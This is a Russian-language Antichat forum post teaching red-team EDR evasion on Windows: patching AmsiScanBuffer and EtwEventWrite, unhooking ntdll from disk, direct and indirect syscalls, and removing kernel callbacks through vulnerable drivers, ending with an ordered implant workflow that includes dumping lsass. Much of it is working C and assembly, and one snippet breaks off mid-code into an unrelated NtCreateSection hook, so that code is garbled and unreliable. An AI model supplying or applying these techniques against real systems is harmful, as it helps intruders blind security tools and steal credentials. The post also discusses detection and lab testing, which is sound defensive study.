HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 10.04.2026, 01:23
Sergei webware
Участник форума
Регистрация: 04.03.2015
Сообщений: 126
С нами: 5890890

Репутация: 0
По умолчанию



За последние два года детект со стороны EDR изменился радикально. То, что работало в 2022-м против Defender, сейчас ловится на стадии загрузки даже бесплатными решениями. Но ядро проблемы осталось тем же: offensive-разработчику нужно понимать не отдельные трюки, а всю цепочку детекта - от архитектуры имплантов до финального обхода EDR (полное руководство по разработке red team инструментов я собрал здесь) - от AMSI-сканирования скриптов до kernel callbacks, которые фиксируют создание процесса ещё до того, как ваш имплант получит первую инструкцию.

Здесь я разберу четыре уровня защиты Windows и покажу конкретные техники обхода, которые работают на момент написания - с кодом, объяснением, почему именно эти байты патчатся, и честным указанием, где каждый подход ломается под серьёзным EDR.
Когда обход AMSI действительно необходим
Скажу прямо: если вы пишете шелл-код лоадер на C/C++ и выполняете позиционно-независимый код через callback-функции или APC - AMSI вам не нужен. AMSI сканирует управляемый код и скриптовые языки: PowerShell, VBScript, JavaScript, VBA-макросы и .NET-сборки, загружаемые через
Код:
Assembly.Load()
. Fabian Mosch из r-tec в своём анализе пишет то же самое: добавление AMSI-байпасса в шелл-код лоадер лишь увеличивает количество индикаторов компрометации и шансы спалиться.

Обход AMSI нужен, когда вы:
  • Загружаете .NET-сборку в память через
    Код:
    Assembly.Load()
    из C2-фреймворка
  • Выполняете PowerShell-скрипты через
    Код:
    Invoke-Expression
    или
    Код:
    Add-Type
  • Работаете с VBA-макросами в Office-документах
  • Используете
    Код:
    mshta.exe
    ,
    Код:
    cscript.exe
    или
    Код:
    wscript.exe
    для загрузки скриптов
Загрузка .NET-сборок и обфускация скриптов мапятся на технику Obfuscated Files or Information (T1027, Defense Evasion) по классификации MITRE ATT&CK, использование
Код:
mshta.exe
- на Mshta (T1218.005, Defense Evasion) и Ingress Tool Transfer (T1105, Command and Control), использование
Код:
cscript.exe
и
Код:
wscript.exe
- на Command and Scripting Interpreter (T1059, Execution), а сам обход защитных механизмов - на Disable or Modify Tools (T1562.001, Defense Evasion).
Обход AMSI в PowerShell и .NET: что работает в 2026
Патчинг AmsiScanBuffer - жив или мёртв
Классический патч
Код:
AmsiScanBuffer
- запись
Код:
0xC3
(ret) или последовательности, возвращающей
Код:
AMSI_RESULT_CLEAN
- по-прежнему работает. Но дьявол в деталях. Проблема не в самом патче, а в том, как вы до него добираетесь.

В 2025 году EDR уровня CrowdStrike и SentinelOne ставят userland hooks на
Код:
VirtualProtect
и
Код:
WriteProcessMemory
. Любая попытка поменять права доступа к страницам памяти
Код:
amsi.dll
или записать данные в её адресное пространство через стандартные API немедленно генерирует телеметрию. Вот что происходит при классическом подходе:

C:


Код:
// Классический патч AmsiScanBuffer - ЛОВИТСЯ большинством EDR в 2025
void
*
amsiAddr
=
GetProcAddress
(
GetModuleHandleA
(
"amsi.dll"
)
,
"AmsiScanBuffer"
)
;
DWORD oldProtect
;
VirtualProtect
(
amsiAddr
,
6
,
PAGE_EXECUTE_READWRITE
,
&
oldProtect
)
;
// 
Name
;
// IsBlockedDll принимает PUNICODE_STRING и проверяет имя DLL (по хэшу или подстроке)
// Проверка по хэшу пути, а не по строке - устойчивее к детекту
if
(
IsBlockedDll
(
filePath
)
)
{
return
STATUS_OBJECT_NAME_NOT_FOUND
;
// 0xC0000034 - загрузчик считает, что DLL не найдена
}
}
// Для всех остальных DLL - вызов оригинальной функции
return
OriginalNtCreateSection
(
SectionHandle
,
DesiredAccess
,
ObjAttr
,
MaxSize
,
PageAttrs
,
SectionAttrs
,
FileHandle
)
;
}
Тут есть нюанс, на котором многие горели: нельзя возвращать
Код:
0xC000047E
(
Код:
STATUS_INVALID_IMAGE_HASH
) - это приведёт к вызову
Код:
LdrAppxHandleIntegrityFailure
, который убьёт процесс.
Код:
STATUS_INVALID_IMAGE_FORMAT
(
Код:
0xC000007B
) тоже мимо - загрузчик может показать диалог ошибки или записать событие в Event Log, а это уже IoC. Лучший вариант -
Код:
STATUS_OBJECT_NAME_NOT_FOUND
(
Код:
0xC0000034
): загрузчик просто решает, что DLL не найдена, и идёт дальше без побочных эффектов.


ETW patching techniques: ослепление телеметрии
ETW (Event Tracing for Windows) - главный канал телеметрии для EDR. Через него летят данные о выделении памяти, манипуляциях с потоками, APC-вызовах и куче всего остального. Подавление ETW маппится на технику Disable Windows Event Logging (T1562.002, Defense Evasion).
Патчинг EtwEventWrite в ntdll
Классика - патч
Код:
EtwEventWrite
в
Код:
ntdll.dll
, чтобы функция возвращала 0 без реальной отправки событий:

C:


Код:
// Патч EtwEventWrite - концептуальный пример
void
*
etwAddr
=
GetProcAddress
(
GetModuleHandleA
(
"ntdll.dll"
)
,
"EtwEventWrite"
)
;
DWORD oldProtect
;
VirtualProtect
(
etwAddr
,
1
,
PAGE_EXECUTE_READWRITE
,
&
oldProtect
)
;
*
(
BYTE
*
)
etwAddr
=
0xC3
;
// ret - функция ничего не делает
VirtualProtect
(
etwAddr
,
1
,
oldProtect
,
&
oldProtect
)
;
Один байт - и userland-ETW ослеп. Но в 2026-м у подхода серьёзные ограничения. Как описывает fluxsec в анализе ETW-детекции в ядре, Remcos RAT использовал именно эту технику - и был пойман EDR, работающим на уровне ядра, через периодическое сканирование целостности памяти
Код:
ntdll.dll
. То есть EDR тупо сравнивает in-memory версию ntdll с тем, что лежит на диске, и видит ваш
Код:
0xC3
.
ETW Kernel Dispatch Table
По данным того же исследования fluxsec, более продвинутые атаки целятся в ETW Kernel Dispatch Table - внутреннюю структуру ядра, через которую маршрутизируются ETW-события. Руткит Lazarus (FudModule) использовал DKOM (Direct Kernel Object Manipulation) для модификации этих структур. Конкретно:
  • Обнуление
    Код:
    IsEnabled
    -флага ETW GUID Entry для конкретных провайдеров
  • Модификация масок
    Код:
    ETW_REG_ENTRY
    , контролирующих, какие события логируются
  • Отключение глобальных системных логгеров
Каждая из этих техник работает на уровне ядра и требует загруженного драйвера или эксплойта admin-to-kernel. Для red team-операций это обычно BYOVD (Bring Your Own Vulnerable Driver).
Что реально детектится в 2026
EDR с компонентом в ядре ловит userland-патчинг
Код:
ntdll.dll
через:
  • Периодическое сравнение in-memory кода ntdll с образом на диске
  • Kernel callbacks на изменение защиты памяти
  • ETW Threat Intelligence провайдер, который живёт в ядре и на userland-патчи ему плевать
Kernel-level DKOM - задача посложнее. По данным fluxsec, периодическая проверка целостности kernel-структур EDR позволяет обнаружить изменения, но есть окно между модификацией и проверкой. Если атакующий успевает восстановить состояние до следующей проверки (аналогично обходу Kernel Patch Protection), обнаружение становится вопросом вероятности и удачи.
Userland hooks bypass: unhooking и прямые системные вызовы
EDR ставят хуки в
Код:
ntdll.dll
, перехватывая
Код:
NtAllocateVirtualMemory
,
Код:
NtWriteVirtualMemory
,
Код:
NtCreateThreadEx
и десятки других функций. Это покрывает технику Process Injection (T1055, Defense Evasion / Privilege Escalation) - любая инъекция в чужой процесс проходит через эти API. Обход реализуется через Native API (T1106, Execution).
Unhooking через чтение ntdll с диска
Классический подход: загружаем чистую копию
Код:
ntdll.dll
с диска и перезаписываем .text-секцию текущей (захукленной) копии:

C:


Код:
// Unhooking ntdll - чтение чистой копии с диска
HANDLE hFile
=
CreateFileA
(
"C:\\Windows\\System32\\ntdll.dll"
,
GENERIC_READ
,
FILE_SHARE_READ
,
NULL
,
OPEN_EXISTING
,
0
,
NULL
)
;
HANDLE hMapping
=
CreateFileMapping
(
hFile
,
NULL
,
PAGE_READONLY
,
0
,
0
,
NULL
)
;
LPVOID cleanNtdll
=
MapViewOfFile
(
hMapping
,
FILE_MAP_READ
,
0
,
0
,
0
)
;
// Находим .text секцию в чистой копии
PIMAGE_DOS_HEADER dosHeader
=
(
PIMAGE_DOS_HEADER
)
cleanNtdll
;
PIMAGE_NT_HEADERS ntHeaders
=
(
PIMAGE_NT_HEADERS
)
(
(
BYTE
*
)
cleanNtdll
+
dosHeader
->
e_lfanew
)
;
PIMAGE_SECTION_HEADER section
=
IMAGE_FIRST_SECTION
(
ntHeaders
)
;
for
(
int
i
=
0
;
i

FileHeader
.
NumberOfSections
;
i
++
)
{
if
(
!
strcmp
(
(
char
*
)
section
[
i
]
.
Name
,
".text"
)
)
{
LPVOID hookedText
=
(
LPVOID
)
(
(
BYTE
*
)
GetModuleHandleA
(
"ntdll.dll"
)
+
section
[
i
]
.
VirtualAddress
)
;
DWORD oldProtect
;
VirtualProtect
(
hookedText
,
section
[
i
]
.
Misc
.
VirtualSize
,
PAGE_EXECUTE_READWRITE
,
&
oldProtect
)
;
memcpy
(
hookedText
,
(
BYTE
*
)
cleanNtdll
+
section
[
i
]
.
PointerToRawData
,
section
[
i
]
.
Misc
.
VirtualSize
)
;
VirtualProtect
(
hookedText
,
section
[
i
]
.
Misc
.
VirtualSize
,
oldProtect
,
&
oldProtect
)
;
break
;
}
}
Проблема: само чтение ntdll с диска и вызов
Код:
VirtualProtect
на .text-секцию - детектируемые паттерны. CrowdStrike Falcon ловит это через мини-фильтр файловой системы и kernel callback на изменение защиты памяти. Лично я на одном проекте видел, как Falcon генерировал алерт ещё до завершения
Код:
memcpy
.
Direct syscalls: SysWhispers и его эволюция
Прямые системные вызовы обходят userland hooks, потому что не проходят через захукленные функции в ntdll. Вместо вызова
Код:
NtAllocateVirtualMemory
в ntdll, вы вручную помещаете номер syscall в EAX и выполняете
Код:
syscall
:

Код:


Код:
; Прямой syscall NtAllocateVirtualMemory (пример для демонстрации концепции)
; SSN (System Service Number) меняется между версиями Windows
mov r10, rcx
mov eax, 0x18          ; SSN 0x18 - NtAllocateVirtualMemory на Windows 10 20H2+ и Windows 11
                       ; (проверяйте для конкретного билда). SSN менялись между major-версиями
                       ; и могут отличаться на insider-билдах.
                       ; В production-коде ВСЕГДА резолвите SSN динамически
                       ; (SysWhispers3, HellsGate, Halo's Gate)
syscall
ret
Проблема прямых syscalls в 2026 году: ETW Threat Intelligence провайдер работает в ядре. Он видит сам факт вызова
Код:
NtAllocateVirtualMemory
с флагами
Код:
PAGE_EXECUTE_READWRITE
- независимо от того, прошёл вызов через ntdll или напрямую. Плюс EDR проверяют, откуда пришёл syscall: если адрес возврата не внутри ntdll - это аномалия, и вас уже разглядывают.
Indirect syscalls
Эволюция direct syscalls - indirect syscalls. Вместо выполнения инструкции
Код:
syscall
из своего кода, вы прыгаете на
Код:
syscall; ret
гаджет внутри легитимной ntdll. Адрес возврата выглядит «правильно»:

C:


Код:
// Indirect syscall - концептуальная схема
// 1. Находим адрес инструкции 'syscall' внутри ntdll
//    (сканируем .text секцию на байты 0x0F 0x05 0xC3)
BYTE
*
ntdllBase
=
(
BYTE
*
)
GetModuleHandleA
(
"ntdll.dll"
)
;
// ... поиск паттерна 0x0F, 0x05, 0xC3 в .text секции ...
// 2. Помещаем правильный SSN в EAX
// 3. Прыгаем на найденный адрес syscall в ntdll
// Результат: стек вызовов выглядит легитимно для EDR
Это усложняет детект по call stack, но kernel-level мониторинг никуда не девается.
Kernel callbacks: что видит EDR до вашего первого байта
Kernel callbacks - финальный рубеж, и обойти его из userland без эксплойта или загрузки своего драйвера невозможно. Точка. Ключевые callbacks:

CallbackЧто отслеживаетКак используют EDRPsSetCreateProcessNotifyRoutineСоздание и завершение процессовДетект подозрительных parent-child цепочекPsSetCreateThreadNotifyRoutineСоз дание потоковДетект remote thread injectionPsSetLoadImageNotifyRoutineЗагрузк а образов (DLL/EXE)Детект reflective DLL injectionObRegisterCallbacksОперации с хэндламиЗащита процесса EDR от открытияCmRegisterCallbackОперации с реестромДетект persistence-механизмов

Техника Reflective Code Loading (T1620, Defense Evasion) специально нацелена на обход
Код:
PsSetLoadImageNotifyRoutine
- загрузка DLL без вызова
Код:
LdrLoadDll
не генерирует уведомления от этого callback.
Что реально можно сделать из userland
Без драйвера убрать kernel callback нельзя. Но можно минимизировать генерируемую телеметрию:
  • Использовать thread pool (
    Код:
    TpAllocWork
    /
    Код:
    TpPostWork
    ) вместо
    Код:
    CreateThread
    для выполнения кода - обходит часть эвристик на создание потоков
  • Выполнять шелл-код через callback-функции легитимных API (
    Код:
    EnumWindows
    ,
    Код:
    CertEnumSystemStore
    и аналоги) - адрес возврата в стеке выглядит легитимнее
  • Избегать
    Код:
    PAGE_EXECUTE_READWRITE
    при выделении памяти - выделять как
    Код:
    RW
    , записывать, менять на
    Код:
    RX
Третий пункт кажется банальным, но я до сих пор вижу публичные лоадеры, которые аллоцируют RWX одним вызовом. В 2026 году это примерно как кричать «я здесь!» в тихой комнате.
Kernel-level evasion: BYOVD и DKOM
Для red team-операций, где в целевой среде стоит EDR уровня CrowdStrike или SentinelOne, единственный надёжный способ разобраться с kernel callbacks - загрузка собственного драйвера через BYOVD. После получения выполнения в ядре можно:
  1. Снять callbacks EDR через модификацию массива
    Код:
    PspCreateProcessNotifyRoutine
    - каждый элемент содержит
    Код:
    EX_FAST_REF
    указатель на
    Код:
    EX_CALLBACK_ROUTINE_BLOCK
    ; для доступа к callback нужно замаскировать младшие 4 бита (ref count) и получить адрес структуры. Для нейтрализации можно заменить поле
    Код:
    Function
    на указатель на пустую функцию (ret-stub) - простое обнуление создаёт race condition. Более надёжный вариант - полное удаление записи из массива с обновлением
    Код:
    PspCreateProcessNotifyRoutineCount
    . Оба варианта требуют тщательного тестирования: некорректная модификация - и привет, BSOD
  2. Закрыть хэндлы EDR к защищённым процессам
  3. Модифицировать ETW-структуры в ядре (описано выше)
По данным исследования Lazarus FudModule (описанного fluxsec), руткит использовал admin-to-kernel zero-day для получения kernel execution и последующей DKOM-манипуляции ETW-структур. Лазарусы, конечно, ребята серьёзные - но сам подход вполне воспроизводим через BYOVD.
Собираем всё вместе: порядок операций для импланта
Практическая последовательность действий, которая минимизирует детект на каждом этапе:


🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.

Зарегистрироваться
или
Войти

Шаг 1. Лоадер без AMSI-байпасса выполняет шелл-код. Шелл-код позиционно-независимый, AMSI его не видит.

Шаг 2. Из шелл-кода - indirect syscall для
Код:
NtAllocateVirtualMemory
с
Код:
PAGE_READWRITE
(не RWX!). Записываем полезную нагрузку.

Шаг 3. Меняем защиту на
Код:
PAGE_EXECUTE_READ
через indirect syscall
Код:
NtProtectVirtualMemory
.

Шаг 4. Если нужно выполнить .NET-сборку или PowerShell - только тогда применяем AMSI-байпасс через hardware breakpoints с
Код:
NtContinue
(без генерации ETW TI событий).

Шаг 5. Подавляем ETW в userland через патчинг
Код:
EtwEventWrite
- но понимаем, что kernel-level ETW TI это не затронет.

Шаг 6. Для операций, требующих отсутствия kernel-телеметрии (дамп lsass, например), используем BYOVD для снятия kernel callbacks - если это входит в скоуп операции.

Ключевой принцип: каждый байпасс - это дополнительный IoC. Не применяйте обход, если он не нужен для конкретного этапа. Шелл-код лоадер не нуждается в AMSI-байпассе. BOF-модули не нуждаются в отдельном unhooking ntdll, если BOF реализует indirect syscalls через встроенные syscall stubs (InlineWhispers, SysWhispers3 BOF). Стандартные BOF, использующие
Код:
BeaconGetProcAddress
для резолва Nt-функций, проходят через захукленную ntdll - и вот тут уже нужно думать.
Что реально работает против конкретных EDR
Я намеренно не даю матрицу «техника X работает против продукта Y» - она устареет через месяц после публикации. Вместо этого - методология проверки:
  1. Разверните целевой EDR в лабе с полной телеметрией (не в режиме «только алерты»)
  2. Выполняйте каждую технику изолированно, анализируя, какие события генерируются
  3. Используйте Process Hacker и x64dbg для инспекции хуков: загрузите ntdll из процесса и сравните пролог каждой Nt-функции с оригиналом на диске
  4. Проверьте, использует ли EDR kernel minifilter - через
    Код:
    fltMC.exe filters
  5. Проверьте kernel callbacks через WinDbg:
    Код:
    !callback
    ,
    Код:
    dx @$cursession.Processes.Where(p => p.Name == "targetEDR.exe")
Детект эволюционирует постоянно. По наблюдениям fluxsec, даже периодическая проверка целостности kernel-структур может быть обойдена при достаточно быстром восстановлении состояния. Это гонка вооружений, и единственный надёжный подход - тестировать конкретную технику против конкретной версии конкретного EDR. На заборе написано «universal bypass» - но вы-то знаете, что на заборе много чего написано.
Заключение
Обход AMSI, ETW, userland hooks и kernel callbacks - не набор разрозненных трюков, а связанная система, где каждый уровень дополняет предыдущий. В 2026 году ни одна отдельная техника не гарантирует обход EDR корпоративного класса. Патч
Код:
AmsiScanBuffer
бесполезен, если вы не разобрались с userland hooks на
Код:
VirtualProtect
. Unhooking ntdll бессмысленен, если kernel ETW TI логирует ваши syscalls. Direct syscalls не спасут, если EDR проверяет call stack.

Разверните лабу с целевым EDR и прогоните каждую технику из этой статьи изолированно - посмотрите, что генерирует телеметрию, а что проходит тихо. Именно понимание всей вертикали (от PowerShell-скриптов до kernel callbacks и ETW dispatch tables) отличает рабочий имплант от очередного PoC, который ловится на первой стадии.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.